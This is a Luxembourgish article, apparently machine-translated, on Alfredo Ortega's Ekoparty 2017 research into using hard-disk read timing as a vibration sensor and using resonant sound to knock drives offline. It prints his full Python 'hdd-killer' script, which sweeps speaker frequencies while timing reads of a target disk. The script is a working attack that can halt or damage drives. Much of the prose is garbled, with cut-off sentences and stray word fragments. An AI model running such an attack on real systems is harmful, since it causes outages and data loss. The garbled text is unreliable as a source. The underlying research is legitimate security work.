Op der Ekoparty 2017 Computer Sécherheetskonferenz zu Buenos Aires huet den argentineschen Hacker Alfredo Ortega eng ganz interessant Entwécklung gewisen - e System fir geheime Oflauschtere vu Raimlechkeeten ouni Mikrofon ze benotzen. Toun
D'HDD hëlt haaptsächlech héich-Intensitéit niddereg-Frequenz Kläng, Fouss an aner Schwéngungen. Mënschlech Ried kann nach net unerkannt ginn, obwuel Wëssenschaftler
Sound ass d'Vibration vun der Loft oder engem anere Medium. Eng Persoun erkennt se duerch den Trommel, wat Schwéngungen an dat banneschten Ouer iwwerdréit. De Mikrofon ass ongeféier wéi en Ouer entworf - och hei gi Schwéngungen duerch eng dënn Membran opgeholl, déi en elektreschen Impuls opreegt. D'Harddisk ass natierlech och ënnerläit vu mikroskopesche Schwéngungen wéinst Schwankungen an der Ëmgéigend. Dëst ass och aus den techneschen Charakteristiken vun HDDs bekannt: Hiersteller weisen normalerweis de maximal zulässleche Schwéngungsniveau un, an d'Festplack selwer probéiert et dacks an engem Schwéngungsbeständeg Container aus Gummi oder aner Isoléiermaterial ze placéieren. Vun dësem ass et einfach ze schléissen datt Kläng mat HDD opgeholl kënne ginn. Alles wat bleift ass erauszefannen wéi.
Alfredo Ortega proposéiert eng eenzegaarteg Versioun vun engem Säit-Kanal Attack, nämlech eng Zäit Attack. Dës Attack baséiert op der Virgab datt verschidden Operatiounen um Apparat zu verschiddenen Zäiten ausgefouert ginn, ofhängeg vun den Inputdaten, déi uginn. An dësem Fall sinn d'"Inputdaten" Schwéngungen vum Lieskopf an der HDD-Platter, déi mat de Schwéngungen vun der Ëmwelt korreléieren, dat heescht mam Toun. Also, andeems Dir d'Rechnungszäit moosst an eng statistesch Analyse vun den Donnéeën ausféiert, kënnen d'Schwéngungen vum Kapp/Platter an domat d'Vibrationen vum Medium gemooss ginn. Wat méi laang d'Verzögerung beim Liesen vun Daten ass, dest méi staark d'HDD Schwéngungen an dofir, dest méi haart den Toun.
Wéi moosst Hard Drive Vibration? Ganz einfach: lafen einfach de System Uruff read ()
- a notéiert d'Zäit déi et brauch fir ze kompletéieren. Modern Betribssystemer erlaben Iech den Timing vun System Uriff mat Nanosekonnen Genauegkeet ze liesen.
D'Geschwindegkeet fir Informatioun aus engem Sektor ze liesen hänkt vun der Positioun vum Kapp a Plack of, wat mat Schwéngungen vum HDD Fall korreléiert. Dat ass alles.
Statistesch Analyse gëtt mat engem einfachen Kscope Utility duerchgefouert. Wéi se soen, alles genial ass einfach.
Kscope Utility (stat() syscall)
Kscope ass e klengen Utility fir kleng Differenzen an der Ausféierungszäite vum System Call ze visualiséieren. Quell
An engem separaten Depot read ()
.
Demonstratioun vun Tounopnam mat HDD, Operatioun vum Kscope Utility
Natierlech kann d'Ried net op dës Manéier verstane ginn, awer d'HDD ass ganz gëeegent als Schwéngungssensor. Zum Beispill, Dir kënnt Iech registréieren wann eng Persoun mat haarde Schong oder Barfuß an engem Raum mat engem Computer erakoum (wahrscheinlech, wann den Ugräifer mëll Turnschueller huet oder en décke Teppech um Buedem ass, kann d'HDD keng Schwéngungen registréieren - Dëst ass derwäert ze kontrolléieren). De Computer ass fäeg gebrach Glas oder aner Tëschefäll mat staarker Tounintensitéit ze registréieren. Dat ass, der Festplack kann als Zort vun onerlaabt Andréngen Detektioun System déngen.
HDD Killer
Iwwregens, kann eng ähnlech Technik benotzt ginn fir Festplazen auszeschalten. Nëmmen hei hu mir keng Schwéngunge vun der HDD ewechgeholl, mee am Géigendeel generéiere mir Schwéngungen, déi op d'HDD gefüttert ginn. Wann Dir Toun vun engem Lautsprecher spillt mat enger Frequenz déi mat der HDD Frequenz resonéiert, schalt de System séier den Apparat mat engem I/O Feeler aus (de Linux Kernel schalt den HDD komplett no 120 Sekonnen aus). D'Festplack selwer kann irreversibel Schued leiden.
De Linux Kernel huet d'Harddisk ausgeschalt no 120 Sekonnen fir Toun op enger Resonanzfrequenz duerch de Lautsprecher vum Edifier r19u USB-Lautsprecher ze liwweren. De Lautsprecher ass op ongeféier e Véierel vun der Kraaft (manner wéi 100 mW) ageschalt a läit 20 cm vun der HDD, riicht op den Dësch fir Schwéngungen ze verbesseren. Kader vun
Et ass virwëtzeg datt esou "Attacke" op HDDs heiansdo ganz zoufälleg am Alldag geschéien. Zum Beispill, am September 2016, war den Datenzenter vun der ING Bank gezwongen, d'Operatioune fir 10 Stonnen no enger Feierübung ze stoppen.
Demonstratioun vum mënschleche Gejäiz op Harddisken an engem Rechenzentrum. Latenzmiessung
Fir de resonéierende Sound ze generéieren, huet den Alfredo Ortega e Python Skript geschriwwen
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: will.com